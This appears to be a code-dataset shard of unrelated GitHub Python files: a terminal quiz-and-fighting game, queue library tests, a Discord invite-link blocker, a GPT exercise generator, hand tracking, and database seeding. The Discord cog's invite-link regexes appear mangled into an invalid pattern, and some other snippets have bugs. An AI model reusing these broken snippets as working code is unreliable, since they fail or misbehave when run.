helper.testmain()\n","repo_name":"thraxil/gtreed","sub_path":"working-env/lib/python2.5/CherryPy-2.2.1-py2.5.egg/cherrypy/test/test_virtualhost_filter.py","file_name":"test_virtualhost_filter.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"36479473530","text":"class player_level:\r\n def __init__(self, name, level):\r\n self.name = name\r\n self.level = level\r\n self.damage = level * 2\r\n self.health = level * 10\r\n self.max_health = level * 10\r\n \r\n def __repr__(self):\r\n return (\"Congratulations {name}, your new level is {level}. Your damage is now set at {damage} with a max health of {max_health}. Enter anything to continue. \".format(name = self.name, level = self.level, damage = self.damage, max_health = self.max_health))\r\n\r\nclass player_level_2:\r\n def __init__(self, name, level):\r\n self.name = name\r\n self.level = level\r\n self.damage = level * 2\r\n self.health = level * 10\r\n self.max_health = level * 10\r\n\r\n def __repr__(self):\r\n return (\"Your opponent, {player2}, is now level {level}. Their damage is now set at {damage} with a max health of {max_health}. Enter anything to continue. \".format(player2 = self.name, level = self.level, damage = self.damage, max_health = self.max_health))\r\n\r\n# player 1 data\r\nlevel_1 = 0\r\ndamage_1 = level_1 * 2\r\nhealth_1 = level_1 * 10\r\nmax_health_1 = level_1 * 10\r\n\r\ndef katana_boost(weapon_name):\r\n return (\"Your weapon, {name}, will give you a 175% damage increase and 125% health increase. Enter anything to recieve your new stats. \".format(name = weapon_name))\r\n\r\ndef lightsaber_boost(weapon_name):\r\n return(\"Your weapon, {name}, will give you a 200% damage increase. Enter anything to recieve your new stats. \".format(name = weapon_name))\r\n\r\ndef scythe_boost(weapon_name):\r\n return (\"Your weapon, {name}, will give you a 150% damage increase and 150% health increase. Enter anything to recieve your new stats. \".format(name = weapon_name))\r\n\r\ndef spear_boost(weapon_name):\r\n return (\"Your weapon, {name}, will give you a 125% damage increase and 175% health increase. Enter anything to recieve your new stats. \".format(name = weapon_name))\r\n\r\nkatana = damage_1 * 1.75 and health_1 * 1.25\r\nlightsaber = damage_1 * 2\r\nscythe = damage_1 * 1.5 and health_1 * 1.5\r\nspear = damage_1 * 1.25 and health_1 * 1.75\r\n\r\ndef weapon_boosting_dmg(weapon_name, level):\r\n damage = level * 2\r\n\r\n if weapon_name == \"katana\":\r\n damage = damage * 1.75\r\n elif weapon_name == \"lightsaber\":\r\n damage = damage * 2\r\n elif weapon_name == \"scythe\":\r\n damage = damage * 1.5\r\n elif weapon_name == \"spear\":\r\n damage = damage * 1.25\r\n\r\n return damage\r\n\r\ndef weapon_boosting_hp(weapon_name, level):\r\n health = level * 10\r\n\r\n if weapon_name == \"katana\":\r\n health = health * 1.25\r\n elif weapon_name == \"lightsaber\":\r\n pass\r\n elif weapon_name == \"scythe\":\r\n health = health * 1.5\r\n elif weapon_name == \"spear\":\r\n health = health * 1.75\r\n \r\n return health\r\n\r\ndef recieve_weapon_info(level, weapon):\r\n damage = level * 2\r\n health = level * 10\r\n\r\n if weapon == \"katana\":\r\n damage = damage * 1.75\r\n health = health * 1.25\r\n elif weapon == \"lightsaber\":\r\n damage = damage * 2\r\n elif weapon == \"scythe\":\r\n damage = damage * 1.5\r\n health = health * 1.5\r\n elif weapon == \"spear\":\r\n damage = damage * 1.25\r\n health = health * 1.75\r\n\r\n return (\"With your level of {level}, your {weapon} grants you {damage} damage and {health} health. Enter anything to choose your element\".format(level = level, damage = damage, health = health, weapon = weapon))\r\n\r\ndef fire_boost(element_name):\r\n return (\"Your element, {element}, will give you a 150% damage increase and 150% health increase. Enter anything to recieve your new stats. \".format(element = element_name))\r\n\r\ndef lightning_boost(element_name):\r\n return (\"Your element, {element}, will give you a 200% damage increase. Enter anything to recieve your new stats. \".format(element = element_name))\r\n\r\ndef wind_boost(element_name):\r\n return (\"Your element, {element}, will give you a 180% damage increase and 120% health increase. Enter anything to recieve your new stats. \".format(element = element_name))\r\n\r\ndef water_boost(element_name):\r\n return (\"Your element, {element}, will give you a 200% health increase. Enter anything to receive your new stats. \".format(element = element_name))\r\n\r\ndef recieve_element_boost(level, weapon, element):\r\n damage = level * 2\r\n health = level * 10\r\n\r\n if weapon == \"katana\":\r\n damage = damage * 1.75\r\n health = health * 1.25\r\n elif weapon == \"lightsaber\":\r\n damage = damage * 2\r\n elif weapon == \"scythe\":\r\n damage = damage * 1.5\r\n health = health * 1.5\r\n elif weapon == \"spear\":\r\n damage = damage * 1.25\r\n health = health * 1.75\r\n \r\n if element == \"fire\":\r\n damage = damage * 1.5\r\n health = health * 1.5\r\n elif element == \"lightning\":\r\n damage = damage * 2\r\n elif element == \"wind\":\r\n damage = damage * 1.8\r\n health = health * 1.2\r\n elif element == \"water\":\r\n health = health * 2\r\n \r\n return (\"With your level of {level}, your {element} grants you {damage} damage and {health} health. Enter anything to choose your attack moves. \".format(level = level, element = element, damage = damage, health = health))\r\n\r\ndef element_boosting_dmg(weapon_name, element_name, level):\r\n damage = weapon_boosting_dmg(weapon_name, level)\r\n\r\n\r\n if element_name == \"fire\":\r\n damage = damage * 1.5\r\n elif element_name == \"lightning\":\r\n damage = damage * 2\r\n elif element_name == \"wind\":\r\n damage = damage * 1.8\r\n elif element_name == \"water\":\r\n pass\r\n\r\n return damage\r\n\r\ndef element_boosting_hp(weapon_name, element_name, level):\r\n health = weapon_boosting_hp(weapon_name, level)\r\n\r\n if element_name == \"fire\":\r\n health = health * 1.5\r\n elif element_name == \"lightning\":\r\n pass\r\n elif element_name == \"wind\":\r\n health = health * 1.2\r\n elif element_name == \"water\":\r\n health = health * 2 \r\n\r\n return health \r\n\r\n\r\n# player 2 data \r\nlevel_2 = 0\r\ndamage_2 = level_2 * 2\r\nhealth_2 = level_2 * 10\r\nmax_health_2 = level_2 * 10\r\n\r\n# Beginning Screen\r\nplayer_one = input(\"Welcome to Legendary Fighters! To get started create a username. \")\r\nplayer_two = input(\"Welcome {player1}! Enter a name for your opponent. \".format(player1 = player_one))\r\nnext = input(\"To learn more about the game, enter 'continue'. \")\r\n\r\nwhile next != \"continue\":\r\n next = input(\"Try again! Enter 'continue'. \")\r\n\r\nif next == \"continue\":\r\n details = input(\"Hello {player1}! Legendary fighters is a type-exclusive terminal game where you can combat your opponent, {player2}, with your custom character. You can customize your characters abilities and increase your level by answering questions correctly. You will be given 10 questions and each question answered right will give you +1 level. Levels can be used to multiply damage and health stats. You can also put stat points into either damage or health. To continue enter 'next'. \".format(player1 = player_one, player2 = player_two))\r\n\r\nwhile details != \"next\":\r\n details = input(\"Try again! Enter 'next' to continue. \")\r\n\r\nif details == \"next\":\r\n next_2 = input(\"Now you are ready to obtain your level! Enter 'continue' to continue! \")\r\n\r\nwhile next_2 != \"continue\":\r\n next_2 = input(\"Try again. Enter 'continue' to continue. \")\r\n\r\nmed = input(\"Now time to get your level! You will be asked 10 questions and you answer correctly you will recieve 1 level point. The max level is 10. Enter 'continue' to recieve your first question. \")\r\n\r\nwhile med != \"continue\":\r\n med = input(\"Try again! Enter 'continue' to recieve your first question. \")\r\n\r\nquestion = input(\"What is the name of the main character in the Dragon Ball series? \")\r\n\r\nif question == \"Goku\":\r\n question = input(\"Correct, enter anything for the second question. \")\r\n level_1 = level_1 + 1\r\nelse:\r\n question = input(\"Incorrect, enter anything for the second question. \")\r\n\r\nquestion_two = input(\"How many states are in the United States? \")\r\n\r\nif question_two == \"50\":\r\n question_two = input(\"Correct, enter anything for the third question. \")\r\n level_1 = level_1 + 1\r\nelse:\r\n question_two = input(\"Incorrect, enter anything for the third question. \")\r\n\r\nquestion_three = input(\"How many continents are on Earth? \")\r\n\r\nif question_three == \"7\":\r\n question_three = input(\"Correct, enter anything for the fourth question. \")\r\n level_1 = level_1 + 1\r\nelse:\r\n question_three = input(\"Incorrect, enter anything for the fourth question. \")\r\n\r\nquestion_four = input(\"How many NBA teams are there? \")\r\n \r\nif question_four == \"30\":\r\n question_four = input(\"Correct, enter anything for the fifth question. \")\r\n level_1 = level_1 + 1\r\nelse:\r\n question_four = input(\"Incorrect, enter anything for the fifth question. \")\r\n\r\nquestion_five = input(\"What is 5 times 11? \")\r\n\r\nif question_five == \"55\":\r\n question_five = input(\"Correct, enter anything for the sixth question. \")\r\n level_1 = level_1 + 1\r\nelse:\r\n question_five = input(\"Incorrect, enter anything for the sixth question. \")\r\n\r\nquestion_six = input(\"Is the NBA a professional league for basketball players? Answer with either 'Yes' or 'No'. \")\r\n\r\nif question_six == \"Yes\":\r\n question_six = input(\"Correct, enter anything for the seventh question. \")\r\n level_1 = level_1 + 1\r\nelse:\r\n question_six = input(\"Incorrect, enter anything for the seventh question. \")\r\n\r\nquestion_seven = input(\"What country has the most population? \")\r\n\r\nif question_seven == \"China\":\r\n question_seven = input(\"Correct, enter anything for the eight question. \")\r\n level_1 = level_1 + 1\r\nelse:\r\n question_seven = input(\"Incorrect, enter anything for the eight question. \")\r\n\r\nquestion_eight = input(\"How many slices of pizza are in one box of pizza on average?\" )\r\n\r\nif question_eight == \"8\":\r\n question_eight = input(\"Correct, enter anything for the ninth question. \")\r\n level_1 = level_1 + 1\r\nelse:\r\n question_eight = input(\"Incorrect, enter anything for the ninth question. \")\r\n\r\nquestion_nine = input(\"How many championship rings and mvp awards does Kareem Abdul Jabbar have? \")\r\n\r\nif question_nine == \"6\":\r\n question_nine = input(\"Correct, enter anything for the final question \")\r\n level_1 = level_1 + 1\r\nelse:\r\n question_nine = input(\"Incorrect, enter anything for the final quetsion. \")\r\n\r\nquestion_ten = input(\"What year did World War 1 begin? \")\r\n\r\nif question_ten == \"1914\":\r\n question_ten = input(\"Correct, enter anything to view your level, damage and health. \")\r\n level_1 = level_1 + 1\r\nelse:\r\n question_ten = input(\"Incorrect, enter anything to view your level, damage, and health. \")\r\n\r\nquestion_results = input(player_level(player_one, level_1))\r\n\r\nweapon_choosing = input(\"Now you will be choosing your weapon. Your choices are a katana, lightsaber, scythe, or spear. Enter the name of the weapon you want. For example, if you want a scythe, enter 'scythe'. \")\r\n\r\nwhile weapon_choosing != \"katana\" and weapon_choosing != \"lightsaber\" and weapon_choosing != \"scythe\" and weapon_choosing != \"spear\":\r\n weapon_choosing = input(\"Try again. Your choices are either a katana, lightsaber, scythe, or spear. Enter the name of the weapon you want. For example, if you want a scythe, enter 'scythe'. \")\r\n\r\nif weapon_choosing == \"katana\":\r\n input(katana_boost(weapon_choosing))\r\nelif weapon_choosing == \"lightsaber\":\r\n input(lightsaber_boost(weapon_choosing))\r\nelif weapon_choosing == \"scythe\":\r\n input(scythe_boost(weapon_choosing))\r\nelif weapon_choosing == \"spear\":\r\n input(spear_boost(weapon_choosing))\r\n\r\nnew_stats = input(recieve_weapon_info(level_1, weapon_choosing))\r\n\r\nelement_choosing = input(\"Now choose your element. Your choices are fire, lightning, wind, or water. Enter the name of the element you want. For example, if you want fire, enter 'fire'. \")\r\n \r\nwhile element_choosing != \"fire\" and element_choosing != \"lightning\" and element_choosing != \"wind\" and element_choosing != \"water\":\r\n element_choosing = input(\"Try again. Your choices are fire, lightning, wind, or water. Enter the name of the element you want. For example, if you want fire, enter 'fire'. \")\r\n\r\nif element_choosing == \"fire\":\r\n input(fire_boost(element_choosing))\r\nelif element_choosing == \"lightning\":\r\n input(lightning_boost(element_choosing))\r\nelif element_choosing == \"wind\":\r\n input(wind_boost(element_choosing))\r\nelif element_choosing == \"water\":\r\n input(water_boost(element_choosing))\r\n\r\nelement_stats = input(recieve_element_boost(level_1, weapon_choosing, element_choosing))\r\n\r\n# new stats\r\nnew_dmg = element_boosting_dmg(weapon_choosing, element_choosing, level_1)\r\nnew_hp = element_boosting_hp(weapon_choosing, element_choosing, level_1)\r\n\r\n# weapon choosing \r\n\r\nattacks = input(\"Now you will be choosing your attack moves for your {weapon} and element {element}. You can pick 1 weapon attack and 1 element attack. Lets choose the weapon attacks first. Enter the name of your weapon to continue. For example, if you chose scythe, enter 'scythe'. \".format(weapon = weapon_choosing, element = element_choosing))\r\n\r\nwhile attacks != weapon_choosing:\r\n attacks = input(\"Try again. You can pick 1 weapon attack and 1 element attack. Enter the name of your weapon to continue. For example, if you chose scythe, enter 'scythe'. \")\r\n\r\nif attacks == \"katana\":\r\n katana_attack_1 = input(\"Choose your 1st attack for your katana moveset. Choose one of the attacks. The attacks are dimensional slash or {element} combo. Enter the name of the attack you want. For example, if you chose dimensional slash, enter 'dimensional slash'. \".format(element = element_choosing))\r\nelif attacks == \"lightsaber\":\r\n lightsaber_attack_1 = input(\"Choose your 1st attack for your lightsaber moveset. Choose one of the attacks. The attacks are saber slash or saber throw. Enter the name of the attack you want. For example, if you want saber slash, enter 'saber slash'. \")\r\n\r\n","repo_name":"ReaperBeware/Legendary-Fighters-Terminal-Game","sub_path":"LF.py","file_name":"LF.py","file_ext":"py","file_size_in_byte":14021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"25836168414","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"Tests for `yarqueue` package.\"\"\"\nimport time\nfrom concurrent.futures.thread import ThreadPoolExecutor\nfrom queue import Full, Empty\nfrom datetime import datetime\n\nimport pytest\n\nfrom yarqueue import JoinableQueue\nfrom yarqueue.base_queue import QueueTimeoutError\nfrom yarqueue.compat import pickle\n\nfrom .conftest import qname\n\n\nclass CustomClass:\n def __init__(self, *args, **kwargs):\n self.args = args\n self.kwargs = kwargs\n\n def __eq__(self, other):\n return self.__dict__ == other.__dict__\n\n\n@pytest.mark.parametrize(\n \"value\",\n [1, \"string\", None, [1, 2], {3: 4}, CustomClass(1, \"potato\", spade=\"fringe\")],\n)\ndef test_basic(queue, value):\n queue.put(value)\n out = queue.get(value)\n assert out == value\n\n\ndef test_highest_protocol(queue):\n assert queue._serializer.protocol == pickle.HIGHEST_PROTOCOL\n\n\ndef test_clear(queue):\n queue.put(1)\n queue.put(2)\n queue.put(3)\n assert queue.qsize() == 3\n queue.clear()\n assert queue.qsize() == 0\n assert queue.empty()\n\n\ndef test_take(queue):\n items = {1, 2, 3}\n for item in items:\n queue.put(item)\n\n out = set(queue.get_many(len(items)))\n assert out == items\n\n\ndef test_empty(queue):\n with pytest.raises(Empty):\n queue.get_nowait()\n\n\ndef test_full(queue):\n queue.maxsize = 2\n queue.put_nowait(1)\n queue.put_nowait(2)\n with pytest.raises(Full):\n queue.put_nowait(3)\n\n\ndef test_many(queue):\n vals = {1, 2, 3}\n queue.put_many(vals)\n assert set(queue.get_many(3)) == vals\n\n\ndef test_iter(queue):\n vals = {1, 2, 3}\n queue.put_many(vals)\n assert set(queue) == vals\n\n\ndef test_fifo_order(fifo):\n fifo.put(1)\n fifo.put(2)\n fifo.put(3)\n\n assert list(fifo.get_many(3)) == [1, 2, 3]\n\n\ndef test_lifo_order(lifo):\n lifo.put(1)\n lifo.put(2)\n lifo.put(3)\n\n assert list(lifo.get_many(3)) == [3, 2, 1]\n\n\ndef test_de(de):\n de.put_left(1)\n de.put_right(2)\n de.put_left(3)\n de.put_right(4)\n\n assert de.get_left() == 3\n assert de.get_right() == 4\n assert de.get_left() == 1\n assert de.get_right() == 2\n\n\ndef test_joinable_tasks(joinable):\n assert joinable.n_tasks() == 0\n joinable.put(1)\n joinable.put(2)\n assert joinable.n_tasks() == 2\n assert joinable.n_in_progress() == 0\n joinable.get()\n assert joinable.n_in_progress() == 1\n assert joinable.n_tasks() == 2\n joinable.task_done()\n assert joinable.n_tasks() == 1\n joinable.get()\n joinable.task_done()\n assert joinable.n_tasks() == 0\n\n\ndef test_wait(joinable):\n joinable.put(1)\n\n with pytest.raises(QueueTimeoutError):\n joinable.wait(0.1)\n\n\ndef test_join(request):\n name = qname(JoinableQueue.__name__, request.node.name)\n q = JoinableQueue(0, name)\n q.put(1)\n\n def fn():\n time.sleep(2)\n got = q.get()\n q.task_done()\n return got\n\n with ThreadPoolExecutor(max_workers=1) as exe:\n start = datetime.utcnow()\n fut = exe.submit(fn)\n q.join()\n elapsed = datetime.utcnow() - start\n assert fut.result() == 1\n\n assert elapsed.total_seconds() > 2\n\n\ndef test_non_int_get(queue):\n queue.put(1)\n queue.get(timeout=0.1)\n\n\ndef test_non_int_put(queue):\n queue.maxsize = 1\n queue.put(1)\n with pytest.raises(Full):\n queue.put(2, timeout=0.1)\n","repo_name":"clbarnes/yarqueue","sub_path":"tests/test_yarqueue.py","file_name":"test_yarqueue.py","file_ext":"py","file_size_in_byte":3383,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"} +{"seq_id":"5917415123","text":"import discord\nfrom discord.ext import commands\nfrom .utils import checks\nfrom __main__ import send_cmd_help, settings\nfrom cogs.utils.dataIO import dataIO\nimport os\nimport re\nimport asyncio\n\n\nclass Antilink:\n \"\"\"Blocks Discord invite links from users who don't have the permission 'Manage Messages'\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n self.location = 'data/antilink/settings.json'\n self.json = dataIO.load_json(self.location)\n self.regex = re.compile(r\"?\")\n self.regex_discordme = re.compile(r\"?\")\n\n @commands.group(pass_context=True, no_pm=True)\n @checks.admin_or_permissions(administrator=True)\n async def antilinkset(self, ctx):\n \"\"\"Manages the settings for antilink.\"\"\"\n serverid = ctx.message.server.id\n if ctx.invoked_subcommand is None:\n await send_cmd_help(ctx)\n if serverid not in self.json:\n self.json[serverid] = {'toggle': False, 'message': '', 'dm': False}\n\n @antilinkset.command(pass_context=True, no_pm=True)\n @checks.admin_or_permissions(administrator=True)\n async def toggle(self, ctx):\n \"\"\"Enable/disables antilink in the server\"\"\"\n serverid = ctx.message.server.id\n if self.json[serverid]['toggle'] is True:\n self.json[serverid]['toggle'] = False\n await self.bot.say('Antilink is now disabled')\n elif self.json[serverid]['toggle'] is False:\n self.json[serverid]['toggle'] = True\n await self.bot.say('Antilink is now enabled')\n dataIO.save_json(self.location, self.json)\n\n @antilinkset.command(pass_context=True, no_pm=True)\n @checks.admin_or_permissions(administrator=True)\n async def message(self, ctx, *, text):\n \"\"\"Set the message for when the user sends a illegal discord link\"\"\"\n serverid = ctx.message.server.id\n self.json[serverid]['message'] = text\n dataIO.save_json(self.location, self.json)\n await self.bot.say('Message is set')\n if self.json[serverid]['dm'] is False:\n await self.bot.say('Remember: Direct Messages on removal is disabled!\\nEnable it with ``antilinkset toggledm``')\n\n @antilinkset.command(pass_context=True, no_pm=True)\n @checks.admin_or_permissions(administrator=True)\n async def toggledm(self, ctx):\n serverid = ctx.message.server.id\n if self.json[serverid]['dm'] is False:\n self.json[serverid]['dm'] = True\n await self.bot.say('Enabled DMs on removal of invite links')\n elif self.json[serverid]['dm'] is True:\n self.json[serverid]['dm'] = False\n await self.bot.say('Disabled DMs on removal of invite links')\n dataIO.save_json(self.location, self.json)\n\n async def _new_message(self, message):\n \"\"\"Finds the message and checks it for regex\"\"\"\n user = message.author\n if message.server is None:\n return\n if message.server.id in self.json:\n if self.json[message.server.id]['toggle'] is True:\n if self.regex.search(message.content) is not None or self.regex_discordme.search(message.content) is not None:\n roles = [r.name for r in user.roles]\n bot_admin = settings.get_server_admin(message.server)\n bot_mod = settings.get_server_mod(message.server)\n if user.id == settings.owner:\n return\n elif bot_admin in roles:\n return\n elif bot_mod in roles:\n return\n elif user.permissions_in(message.channel).manage_messages is True:\n return\n else:\n asyncio.sleep(0.5)\n await self.bot.delete_message(message)\n if self.json[message.server.id]['dm'] is True:\n await self.bot.send_message(message.author, self.json[message.server.id]['message'])\n\n\ndef check_folder():\n if not os.path.exists('data/antilink'):\n os.makedirs('data/antilink')\n\n\ndef check_file():\n f = 'data/antilink/settings.json'\n if dataIO.is_valid_json(f) is False:\n dataIO.save_json(f, {})\n\n\ndef setup(bot):\n check_folder()\n check_file()\n n = Antilink(bot)\n bot.add_cog(n)\n bot.add_listener(n._new_message, 'on_message')\n","repo_name":"Krissbro/LondonGaymers","sub_path":"antilink/antilink.py","file_name":"antilink.py","file_ext":"py","file_size_in_byte":4545,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"4566410976","text":"import json\nimport re\n\nfrom flask import jsonify, request\n\nfrom app.dal import dal\nfrom app.services.agents import (\n exercises_model,\n exercises_system_prompt,\n exercises_user_prompt,\n)\nfrom app.services.gpt import GPT\n\n\nclass Exercises:\n @staticmethod\n def get():\n \"\"\"Get exercises from database.\"\"\"\n exercises = dal.get_exercises()\n return jsonify({\"exercises\": exercises})\n\n @staticmethod\n def add():\n \"\"\"Add exercises to database.\"\"\"\n exercises = request.json[\"exercises\"]\n dal.add_exercise(exercises)\n return jsonify({\"exercises\": exercises})\n\n @staticmethod\n def generate(n: int = 1):\n \"\"\"Generate n new exercises and returns.\n (n defaults to 1)\n \"\"\"\n n: int = request.args.get(\"n\", n)\n\n # Get existing exercises names\n exercises_names = \", \".join(dal.get_exercises_names())\n\n # Generate new exercises\n response = GPT(exercises_model).chat_completion(\n [\n (\n \"system\",\n exercises_system_prompt.format(exercises_names=exercises_names),\n ),\n (\"user\", exercises_user_prompt.format(n=n)),\n ]\n )\n\n # Parse JSONL to list of dicts\n exercises = [\n json.loads(exercise)\n for exercise in re.sub(\"\\n+\", \"\\n\", response).splitlines()\n ]\n\n # Return exercises\n return jsonify({\"exercises\": exercises})\n","repo_name":"gonced8/nemo-backend","sub_path":"app/services/exercises.py","file_name":"exercises.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"43913858730","text":"from zad3ktesty import runtests\n\n'''Dla każdego ciągu n liczb możemy obliczyć k-ładną sumę (Zakładamy, że k <= n). Poprzez\nk-ładną sumę rozumiemy minimalną sumę pewnych liczb wybranych w ten sposób, że z\nkażdych k kolejnych elementów wybraliśmy przynajmniej jeden z nich (w szczególności\noznacza to, że dla k=1 musimy wybrać wszystkie elementy, a dla k=n wystarczy wybrać\njeden, najmniejszy z nich). Proszę napisać algorytm, który dla zadanej tablicy liczb\nnaturalnych oraz wartości k oblicza k-ładną sumę. '''\n\n\n\n\n\ndef ksuma( T, k ):\n n=len(T)\n if(k == 1):\n return sum(T)\n if k == n:\n return min(T)\n F = [float(\"inf\") for i in range(n)]\n\n\n F[0] = T[0]\n for i in range(1,n):\n last_considered_idx = max(0, i-k)\n min_av = float(\"inf\")\n for p in range(last_considered_idx, i):\n min_av = min(min_av, F[p])\n F[i] = T[i] + min_av\n if(i < k):\n F[i] = min(F[i], T[i])\n\n\n \n #3print(F)\n result = float(\"inf\")\n for i in range(n-k, n):\n #print(F[i])\n result = min(result, F[i])\n\n \n\n\n #print(F)\n\n #Tutaj proszę wpisać własną implementację\n return result\n \nruntests ( ksuma )","repo_name":"Piotreqsl/ASD","sub_path":"kol2_custom_ex/zad3k.py","file_name":"zad3k.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"24571195913","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n\nclass Solution:\n def deleteDuplicates(self, head: Optional[ListNode]) -> Optional[ListNode]:\n dummy = ListNode(0, head)\n prev = dummy # prev starts at the dummy node\n\n curr = dummy.next # curr starts at the head of the original list\n while curr and curr.next:\n if curr.val == curr.next.val: # if the value and the next value are equal\n # to iterate through those that are duplicates\n while curr.next and curr.val == curr.next.val:\n # moving the current node past the duplicate one at a time\n curr = curr.next\n # prev.next becomes the current next value\n prev.next = curr.next\n else:\n # if we don't have a duplicate, we move one step forward\n prev = prev.next\n # to keep iterating through the list\n curr = curr.next\n return dummy.next\n","repo_name":"Hope-Alemayehu/Div-2-Progress-sheet","sub_path":"Remove Duplicates from Sorted List II.py","file_name":"Remove Duplicates from Sorted List II.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"70518705471","text":"import mediapipe as mp\nfrom google.protobuf.json_format import MessageToDict\n\nclass handDetector():\n def __init__(self, mode = False, maxHands=2, modelCom=1,detectionCon=0.5, trackCon=0.5):\n self.mode = mode\n self.maxHands = maxHands\n self.modelComp = modelCom\n self.detectionCon = detectionCon\n self.trackCon = trackCon\n self.mpHand = mp.solutions.hands\n self.hands = self.mpHand.Hands(self.mode, self.maxHands, self.modelComp,self.detectionCon, self.trackCon)\n self.mpDraw = mp.solutions.drawing_utils\n\n def findHands(self, img, img_rgb, draw=True):\n self.results = self.hands.process(img_rgb)\n counter = []\n if self.results.multi_handedness:\n for idx, hand_handedness in enumerate(self.results.multi_handedness):\n handedness_dict = MessageToDict(hand_handedness)\n counter.append(handedness_dict['classification'][0]['index'])\n tipLms = []\n if self.results.multi_hand_landmarks:\n if len(self.results.multi_hand_landmarks)>=2:\n h, w, c = img.shape\n for handLms in self.results.multi_hand_landmarks:\n if draw: self.mpDraw.draw_landmarks(img, handLms,\n self.mpHand.HAND_CONNECTIONS,\n connection_drawing_spec=\n self.mpDraw.DrawingSpec((233,43,5),\n thickness=3))\n lmList = []\n for id, lm in enumerate(handLms.landmark):\n cx, cy = int(lm.x * w), int(lm.y * h)\n lmList.append([id, cx, cy])\n tipLms.append(lmList)\n else: print(\"Please provide both hands\")\n if counter and tipLms:\n if counter[0] == 1: tipLms[0], tipLms[1] = tipLms[1], tipLms[0]\n return img, tipLms\n","repo_name":"Swarno-Coder/HandSteering","sub_path":"HandTrackinMod.py","file_name":"HandTrackinMod.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"16405111809","text":"from create_db import *\n\nif __name__ == '__main__':\n sql_insert_groups_table = \"INSERT INTO groups(title) VALUES(%s)\"\n sql_insert_students_table = \"INSERT INTO students(first_name, last_name, group_id) VALUES(%s, %s, %s)\"\n sql_insert_teachers_table = \"INSERT INTO teachers(first_name, last_name) VALUES(%s, %s)\"\n sql_insert_disciplines_table = \"INSERT INTO disciplines(discipline, teacher_id, group_id) VALUES(%s, %s, %s)\"\n sql_insert_marks_table = \"INSERT INTO marks(mark, lesson_date, teacher_id, student_id, discipline_id) VALUES(%s, %s, %s, %s, %s)\"\n\n\n with create_connection() as conn:\n if conn is not None:\n cur = conn.cursor()\n for _ in range(4):\n cur.execute(sql_insert_groups_table, (random.choice(['A', 'B', 'C', 'D'])))\n else:\n print('Error: can\\'t create the database connection')\n\n with create_connection() as conn:\n if conn is not None:\n cur = conn.cursor()\n for _ in range(30):\n cur.execute(sql_insert_students_table, (fake.first_name(), fake.last_name(), random.randint(1, 4)))\n else:\n print('Error: can\\'t create the database connection')\n\n with create_connection() as conn:\n if conn is not None:\n cur = conn.cursor()\n for _ in range(3):\n cur.execute(sql_insert_teachers_table, (fake.first_name(), fake.last_name()))\n else:\n print('Error: can\\'t create the database connection')\n\n with create_connection() as conn:\n if conn is not None:\n cur = conn.cursor()\n for _ in range(5):\n cur.execute(sql_insert_disciplines_table, (random.choice(['Python', 'Java', 'QA', 'C++']), random.randint(1, 3), random.randint(1, 4)))\n else:\n print('Error: can\\'t create the database connection')\n\n with create_connection() as conn:\n if conn is not None:\n cur = conn.cursor()\n for _ in range(600):\n cur.execute(sql_insert_marks_table, (random.randint(1,5), fake.date(), random.randint(1, 3), random.randint(1, 30), random.randint(1, 5)))\n else:\n print('Error: can\\'t create the database connection')","repo_name":"shuaaam/PythonWebHW8","sub_path":"fill_db.py","file_name":"fill_db.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"74897853951","text":"#!/usr/bin/python\n\n\"\"\"\n\nThis problem was asked by Spotify.\n\nYou have access to ranked lists of songs for various users. Each song is represented as an integer, and more preferred songs appear earlier in each list. For example, the list [4, 1, 7] indicates that a user likes song 4 the best, followed by songs 1 and 7.\n\nGiven a set of these ranked lists, interleave them to create a playlist that satisfies everyone's priorities.\n\nFor example, suppose your input is {[1, 7, 3], [2, 1, 6, 7, 9], [3, 9, 5]}. In this case a satisfactory playlist could be [2, 1, 6, 7, 3, 9, 5].\n\n\"\"\"\n\n# Topological sort\n\nfrom collections import defaultdict\n\ndef build_graph(lists):\n pre=defaultdict(set)\n suc=defaultdict(set)\n for songs in lists:\n for s1,s2 in zip(songs,songs[1:]):\n # Initialize pre[s1], pre[s2], suc[s1], suc[s2]\n if s1 in suc[s2] or s2 in pre[s1]:\n raise ValueError(\"{} and {} are out of order in input\".format(s1,s2))\n\n pre[s2].add(s1)\n suc[s1].add(s2)\n\n print(\"pre:\",pre,\"\\nsuc:\",suc)\n return pre,suc\n\ndef get_playlist(lists):\n try:\n pre,suc=build_graph(lists)\n except Exception as e:\n print(e)\n return None\n\n order=[]\n\n todo={ s for s in pre if not pre[s] }\n while todo:\n s=todo.pop()\n order+=[s]\n for s1 in suc[s]:\n pre[s1].discard(s)\n if not pre[s1]:\n todo.add(s1)\n\n return order\n\nassert get_playlist(([1, 7, 3], [2, 1, 6, 7, 9], [3, 9, 5]))==[2,1,6,7,3,9,5]\n","repo_name":"yanshg/daily_coding_problems","sub_path":"solutions/360_interleave_playlist.py","file_name":"360_interleave_playlist.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"5664463600","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport glob\nfrom os import path\n\n# Midi files home\nMIDI_FILES_HOME = path.join(os.environ['HOME'], \"midi\")\n\n# Midi file extension\nMID_EXT = '.mid'\n\ndef is_matching(str_ref, str_find):\n return 